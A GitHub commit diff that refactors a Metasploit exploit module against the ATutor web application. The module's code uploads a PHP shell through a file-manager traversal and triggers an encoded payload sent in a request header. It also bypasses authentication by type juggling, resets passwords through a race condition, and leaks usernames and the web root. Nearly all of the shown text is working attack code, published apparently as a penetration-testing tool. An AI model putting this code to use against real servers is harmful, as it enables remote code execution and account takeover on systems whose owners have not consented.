Skip to content

Commit 9cb43f2

Browse files
committed
Update atutor_filemanager_traversal
1 parent 3842009 commit 9cb43f2

File tree

1 file changed

+19
-27
lines changed

1 file changed

+19
-27
lines changed

modules/exploits/linux/http/atutor_filemanager_traversal.rb

Lines changed: 19 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -129,7 +129,7 @@ def found
129129
'method' => 'GET',
130130
'uri' => normalize_uri(target_uri.path, "mods", "#{@payload_name}.txt"),
131131
})
132-
if res.code == 200 and res.body =~ /#{@test_string}/
132+
if res and res.code == 200 and res.body =~ /#{@test_string}/
133133
return true
134134
end
135135
return false
@@ -141,34 +141,30 @@ def disclose_web_root
141141
'uri' => normalize_uri(target_uri.path, "jscripts", "ATutor_js.php"),
142142
})
143143
@webroot = "/"
144-
@webroot << $1 if res.body =~ /\<b\>\/(.*)jscripts\/ATutor_js\.php\<\/b\> /
144+
@webroot << $1 if res and res.body =~ /\<b\>\/(.*)jscripts\/ATutor_js\.php\<\/b\> /
145145
if @webroot != "/"
146146
return true
147147
end
148148
return false
149149
end
150150

151-
def exec_code
152-
# pwnage
153-
res = nil
151+
def call_php(ext)
154152
res = send_request_cgi({
155153
'method' => 'GET',
156-
'uri' => normalize_uri(target_uri.path, "mods", "#{@payload_name}.pht"),
154+
'uri' => normalize_uri(target_uri.path, "mods", "#{@payload_name}.#{ext}"),
157155
'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
158156
}, timeout=0.1)
157+
return res
158+
end
159+
160+
def exec_code
161+
res = nil
162+
res = call_php("pht")
159163
if res == nil
160-
res = send_request_cgi({
161-
'method' => 'GET',
162-
'uri' => normalize_uri(target_uri.path, "mods", "#{@payload_name}.phtml"),
163-
'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
164-
}, timeout=0.1)
164+
res = call_php("phtml")
165165
end
166166
if res == nil
167-
res = send_request_cgi({
168-
'method' => 'GET',
169-
'uri' => normalize_uri(target_uri.path, "mods", "#{@payload_name}.php4"),
170-
'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
171-
}, timeout=0.1)
167+
res = call_php("php4")
172168
end
173169
end
174170

@@ -191,11 +187,7 @@ def upload_shell(cookie, check)
191187
return true
192188
end
193189
# unknown failure...
194-
if res && res.body =~ /Missing zlib extensions/
195-
fail_with(Failure::NotVulnerable, 'Server is missing zlib extensions')
196-
else
197-
fail_with(Failure::Unknown, 'Unable to upload php code')
198-
end
190+
fail_with(Failure::Unknown, "Unable to upload php code")
199191
return false
200192
end
201193

@@ -209,7 +201,7 @@ def find_user(cookie)
209201
# use that session to leak the username
210202
'agent' => ''
211203
})
212-
username = "#{$1}" if res.body =~ /<span id="login">(.*)<\/span>/
204+
username = "#{$1}" if res and res.body =~ /<span id="login">(.*)<\/span>/
213205
if username
214206
return username
215207
end
@@ -251,7 +243,7 @@ def type_juggle
251243
fail_with(Failure::Unknown, "Unable to exploit the type juggle and bypass authentication")
252244
end
253245

254-
def reset_password()
246+
def reset_password
255247
# this is due to line 79 of password_reminder.php
256248
days = (Time.now.to_i/60/60/24)
257249
# make a semi strong password, we have to encourage security now :->
@@ -279,13 +271,13 @@ def reset_password()
279271
fail_with(Failure::Unknown, "Unable to exploit the TOCTOU and reset the password")
280272
end
281273

282-
def login(username, hash, check=false)
283-
password = Rex::Text.sha1(Rex::Text.sha1(hash))
274+
def login(username, password, check=false)
275+
hash = Rex::Text.sha1(Rex::Text.sha1(password))
284276
res = send_request_cgi({
285277
'method' => 'POST',
286278
'uri' => normalize_uri(target_uri.path, "login.php"),
287279
'vars_post' => {
288-
'form_password_hidden' => password,
280+
'form_password_hidden' => hash,
289281
'form_login' => username,
290282
'submit' => 'Login',
291283
'token' => '',
@@ -299,7 +291,7 @@ def login(username, hash, check=false)
299291
end
300292
end
301293
# auth failed if we land here, bail
302-
if not check
294+
unless check
303295
fail_with(Failure::NoAccess, "Authentication failed with username #{username}")
304296
end
305297
return nil

0 commit comments

Comments
 (0)